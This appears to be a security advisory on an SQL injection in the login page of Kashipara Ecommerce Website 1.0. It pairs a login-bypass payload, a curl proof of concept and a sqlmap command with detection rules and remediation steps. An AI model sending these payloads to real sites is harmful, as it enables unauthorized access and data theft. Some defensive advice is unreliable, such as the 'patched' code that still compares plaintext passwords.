CVE-2024-44653

Executive Summary

CVE-2024-44653 identifies a critical SQL Injection vulnerability in Kashipara Ecommerce Website 1.0. The flaw resides in the user_email parameter of user_login.php, allowing unauthenticated remote attackers to inject arbitrary SQL commands. Successful exploitation can lead to full database compromise, including extraction of user credentials, personal data, and administrative access. No official patch has been released by the vendor, and the vulnerability is publicly documented with proof-of-concept code available.

This report provides a deep technical analysis, detection rules, exploitation guidance, and remediation steps for both Red and Blue Teams.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable with no authentication, making it a high-priority threat for any instance running Kashipara Ecommerce Website 1.0.

Deep Dive & Mechanics

The vulnerability exists in the user_login.php script, which processes login requests. The user_email parameter is directly concatenated into a SQL query without sanitization or parameterized binding. An attacker can supply a crafted email value that breaks out of the intended SQL syntax, enabling arbitrary query execution.

Vulnerable Code Snippet (conceptual):

$email = $_POST['user_email'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);

The lack of input validation allows an attacker to inject SQL commands such as:

' OR '1'='1' -- 

This bypasses authentication entirely, returning the first user record (often an admin).

Vulnerable vs. Patched Code

Vulnerable Code (user_login.php):

$email = $_POST['user_email'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE email='$email' AND password='$password'";
$result = mysqli_query($conn, $sql);

Patched Code (recommended):

$email = mysqli_real_escape_string($conn, $_POST['user_email']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$sql = "SELECT * FROM users WHERE email='$email' AND password='$password'";
$result = mysqli_query($conn, $sql);

Alternatively, use prepared statements:

$stmt = $conn->prepare("SELECT * FROM users WHERE email=? AND password=?");
$stmt->bind_param("ss", $email, $password);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team

Proof-of-Concept Exploit:

curl -X POST http://target.com/user_login.php \
  -d "user_email=' OR '1'='1' -- &password=anything"

Automated SQLMap Exploitation:

sqlmap -u "http://target.com/user_login.php" \
  --data="user_email=test@test.com&password=test" \
  --batch --dbs --risk=3 --level=5

Lab Setup:

1. Download Kashipara Ecommerce Website 1.0 from the vendor site.
2. Install on a local LAMP stack (PHP 7.x, MySQL 5.x).
3. Navigate to http://localhost/user_login.php.
4. Execute the curl command above to bypass login.

Blue Team

Detection Steps:

• Monitor web server logs for abnormal SQL keywords in POST parameters (e.g., OR, AND, UNION, SELECT).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use database activity monitoring to detect anomalous queries from the web application user.

Honeypot Setup:

• Create a fake login endpoint that logs all input and alerts on SQL-like patterns.
• Use a low-interaction honeypot (e.g., Cowrie) to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /user_login.php with user_email containing SQL keywords.
• Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

• Modified user_login.php with injected backdoor code.
• Unexpected .sql dump files in web-accessible directories.

Log IOCs:

• Web server logs showing user_email values like ' OR '1'='1.
• Database logs showing queries with UNION SELECT or INFORMATION_SCHEMA.

Detection Engineering

YARA Rule

rule Detect_SQLi_Kashipara_Login {
    meta:
        description = "Detects SQL injection attempts targeting Kashipara Ecommerce user_login.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-44653"
    strings:
        $sqli1 = /user_email=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /user_email=.*\b(1=1|1=2|admin'--)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against Kashipara Ecommerce Login
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in user_email parameter of user_login.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/user_login.php'
        cs-uri-query|contains: 'user_email='
    keywords:
        - ' OR '
        - ' AND '
        - ' UNION '
        - ' SELECT '
        - ' 1=1'
        - ' -- '
    condition: selection and keywords
falsepositives:
    - Legitimate email addresses containing 'OR' (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-44653 - SQL Injection in Kashipara Ecommerce user_login.php";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/user_login.php"; http_uri;
    content:"user_email="; http_client_body;
    pcre:"/user_email=[^&]*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable application from the internet until patched.
2. Apply input validation – use prepared statements or parameterized queries.
3. Deploy a WAF with SQL injection rules (e.g., ModSecurity with OWASP CRS).
4. Restrict database user privileges – use a dedicated low-privilege account for the web app.

Long-Term Fix:

• Replace all dynamic SQL with prepared statements.
• Conduct a full code audit for similar injection flaws.
• Monitor vendor channels for an official patch; if none, consider migrating to a maintained e-commerce platform.

Valters IT Signature
This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.